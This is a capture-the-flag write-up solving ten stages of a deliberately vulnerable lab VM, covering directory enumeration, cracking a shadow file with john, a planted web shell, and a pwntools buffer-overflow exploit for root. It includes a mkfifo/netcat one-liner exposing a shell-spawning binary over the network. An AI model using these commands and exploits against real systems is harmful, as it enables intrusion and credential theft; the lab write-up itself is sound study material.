SECARMY’s CTF @ GrayHat 2020 — Write-up

Mayk
9 min readNov 1, 2020
Secarmy’s CTF banner at GrayHat 2020

Summary

GrayHat 2020 has ended and a lot of great content was presented in the conference of this year. During these days, many villages did their own contests and with SECARMY was no different.

One of the events organized by SECARMY Village was the OSCP Giveaway CTF, which is subject of this post! This one was composed of 10 challenges covering different topics from enumeration to binary exploitation.

So, this is the write-up I made at the end of the CTF. Clap if you like it!

Setup

In order to get started, we should download a VM from VulnHub designed specifically for this CTF. You can find it at https://is.gd/LfvQPt.

Once you have downloaded it and started it, we can proceed to the challenges!

Challenges

This CTF was composed of 10 challenges which should be completed in order from the first until root. Following is a quick description and solution for each one of them.

#1: Uno

After a initial scanning, we see that the machine is running a web server. This is the page we are presented to:

A welcome page asking us to search for a hidden directory.

The message is pretty clear: we have to find a hidden directory. For that, we can use a tool like dirsearch.

dirsearch -u http://192.168.0.166 -E -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

This command will quickly return a resource at http://192.168.0.166/anon. There, we can find our first credential written in white.

A page in a hidden directory with the credential for the first user written in white.

After logging in the machine via SSH, we can grab our first flag and get the credential for the second user.

#2: Dos

Use the credential to login as user dos.

A readme file containing instructions to proceed to second challenge.

The first part of the second challenge consists of finding content inside a directory with many files. Here is a summary of the commands that can be used:

Find among a bunch of files until find a base64 encoded string.

The result is a base64 encoded string. This string can be decoded as a zip file using the following online tool: https://base64.guru/converter/decode/file.

The flag is inside this file, as well a file called todo.txt containing a token.

#3: Tres

While logged as user dos we can also see a file called 1337.txt with the following message:

Our netcat application is too 1337 to handle..

In fact, there is a service running on port 1337, which we can also see in the output from the initial scanning.

The credential for user tres is obtained by connecting to this service and providing the token found on the previous step.

Accessing the netcat service to get the credential for user “tres”.

Once connected as user tres we can grab our third flag and also get instructions for the next challenge.

#4: Cuatro

The instructions cited previously make it clear that the next challenge is about binary analysis. This, however, does not involve complex reverse engineering.

Running strings on the binary, we can see that it was compressed with UPX.

Instructions for the fourth challenge.

The following commands are for decompressing the binary and getting strings again:

upx -d secarmy-village 
strings secarmy-village

Now we can see a clear message with our fourth credential.

Credential for the fourth user obtained from strings.

By logging in as cuatro we can get our fourth flag and the instructions for the next challenge.

#5: Cinco

The instructions point us to http://192.168.0.166/justanothergallery.

This page contains a QR Code image which gives us the credential for user cinco upon scanned.

A web page containing a QR code image.

If we inspect the source code of this page we can see that the images are located in a directory called /qrand their names range from image-0.png to image-68.png. The following command downloads and decodes each of them:

for i in {0..68}; do curl -s http://192.168.0.166/justanothergallery/qr/image-$i.png | zbarimg -q -

Each QR Code will be decoded to a piece of a long message, but the one that we are interested is image-53.png, which decodes to cinco:ruy70m35.

Log in and get the flag! Together with the flag, there is a readme file saying

Check for Cinco’s secret place somewhere outside the house

This is the path to the next challenge.

#6: Seis

To find Cinco’s secret place we can run the following command:

find / -user cinco -type d 2>/dev/null

This will search for every directory owned by cinco starting from the root path. The directory in question is /cincos-secrets.

There, we will find a shadow.bak file that we can’t read at start. But, since this file is owned by cinco and we have write permissions, we can just change the permissions to allow us to read it.

chmod +r shadow.bak

This file contains the hash of seis’s password. We can use john with RockYou wordlist to crack it!

john --wordlist=/usr/share/wordlist/rockyou.txt shadow.bak
The cracked hash.

With the credential in hands, we can get the flag and proceed to the next challenge.

#7: Siete

In this challenge, we are asked to go to http://192.168.0.166/shellcmsdashboard.

There, we are presented to a login page.

A login page.

Before attempting to bypass the login mechanism, we should enumerate this site. With very basic enumeration, we can find a credential at http://192.168.0.166/shellcmsdashboard/robots.txt.

After providing the credential (admin:qwerty), we receive a message telling us to head over to /aabbzzee.php.

This turned out to be a web shell, so we can issue commands in the search input field.

We start by listing files in the current directory:

Listing files using the web shell.

Again, there is a file with write but not read permission. After changing the mode of the given file we can see its content.

The credential for the seventh user.

You can get the seventh flag as soon as you log in.

# Ocho

When logged in as siete, we can see some files related to the next challenge. There is a password protected zip file, a Go file that is supposed to help but it is full of syntax errors, a hint and a pair of message and key files.

The list of files for the challenge.

For the hint and for the content of the Go file, we assume that the content of message.txt is an array of bytes.

We can change mighthelp.go in order to convert this array to its hex representation. Here is the code:

package mainimport "fmt"func main() {
chars := []byte{11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8}

fmt.Printf("Representation: %#v\n", chars)
fmt.Printf("Hex: %x\n", chars)
fmt.Printf("Int: %d\n", chars)
fmt.Printf("Bin: %b\n", chars)
}

Following is the output of this program.

$go run mighthelp.goRepresentation: []byte{0xb, 0x1d, 0x1b, 0x19, 0xa, 0x15, 0x1, 0x0, 0x17, 0xa, 0x11, 0xc, 0xd, 0x8}
Hex: 0b1d1b190a150100170a110c0d08
Int: [11 29 27 25 10 21 1 0 23 10 17 12 13 8]
Bin: [1011 11101 11011 11001 1010 10101 1 0 10111 1010 10001 1100 1101 1000]

From the files, we know that the key is x. The ASCII code for “x” is 78 in hexadecimal or 120 in decimal notation.

The hint says:

Base 10 and Base 256 result in Base 256!

This can be a little misleading because one can try to perform an AND operation. What we need to do, however, is to perform an XOR operation!

Now, there are different ways to do this. We can use some online tool, which generally expect you to pass the values as hexadecimal, or we can run the following one-liner Python code:

>>> "".join([chr(x ^ 120) for x in bytearray([11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8])])
'secarmyxoritup'

Note that in the code above we are using the message as it was given (base256) and the decimal representation for “x” (120). So, for each byte we perform an XOR and then takes the result and get its Unicode representation (function chr). Finally, we just join the characters together to form a string.

The result is secarmyxoritup, which is the password for the zip file. The extracted file contains the password for user ocho. As usual, log in and grab the flag.

#9: Nueve

For this challenge, we are given a PCAP file called keyboard.pcapng. Opening this file with Wireshark, we can find some HTTP requests.

Network packets analysis with Wireshark.

We can extract the files transferred over HTTP with the option “File/Extract Objects/HTTP”.

One of the files contains an interesting string, as shown below.

A message disclosing a string of interest inside file none.txt.

You are wrong if you think the challenge was that easy. This is not the password we wanted!

After some time playing with this string and thinking about the content of the file, I found out that it is a keyboard shift ciphered string. So, in order to get the plain text, we can submit this string to the keyboard shift cipher decoder at https://www.dcode.fr/keyboard-shift-cipher.

The clear text obtained from mjwfr?2b6j3a5fx/ is nueve:355u4z4rc0. Now we can log in and grab the ninth flag. We are almost there!

#10: Root

We finally got to the final stage! In this last challenge, we are given a SUID binary that we should exploit in order to get a root shell. The program reads the user input and does nothing in case of a failed attempt.

Listing and execution of the exploitable program.

First thing first, we could decompile this program. This is the resulting source code we can get with Ghidra.

undefined8 main(void)
{
char local_28 [24];
long local_10;
local_10 = 0;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("hello pwner ");
puts("pwnme if u can ;) ");
gets(local_28);
if (local_10 == 0xcafebabe) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh",(char **)0x0);
}
return 0;
}

So, our goal is pretty simple: we have to override the long variable with the value 0xcafebabe. By doing this, the program will enter in the conditional block and give us a root shell.

Note: for some reason, I couldn’t get the shell by providing the payload directly through the command line. If you know how to do this or why this doesn’t work, please leave a comment! ;)

Ok, so let’s do that! In order to exploit this binary using the resources wehave in our machine, we should first serve it through the network. For that, we can use Netcat.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|./orangutan 2>&1|nc -lvp 2222 >/tmp/f

Then, from our machine, we run the following exploit written in Python with Pwntools. Note that the value that goes to the long variable should be in little endian order, so we send the desired value in reverse order.

from pwn import *offset = b"A" * 24
secret= b"\xbe\xba\xfe\xca"
payload = offset + secretio = remote('192.168.0.166', 2222)
print(io.recvline())
print(io.recvline())
io.sendline(payload)
io.interactive()

Time to pwn!

Result of executing the exploit.

That’s it, guys! This CTF was very fun and covered a variety of concepts seen in other CTFs. I hope you enjoyed! 🎉

--

--

Mayk

Offensive security practitioner for fun and open source enthusiast. Sometimes I research or break something.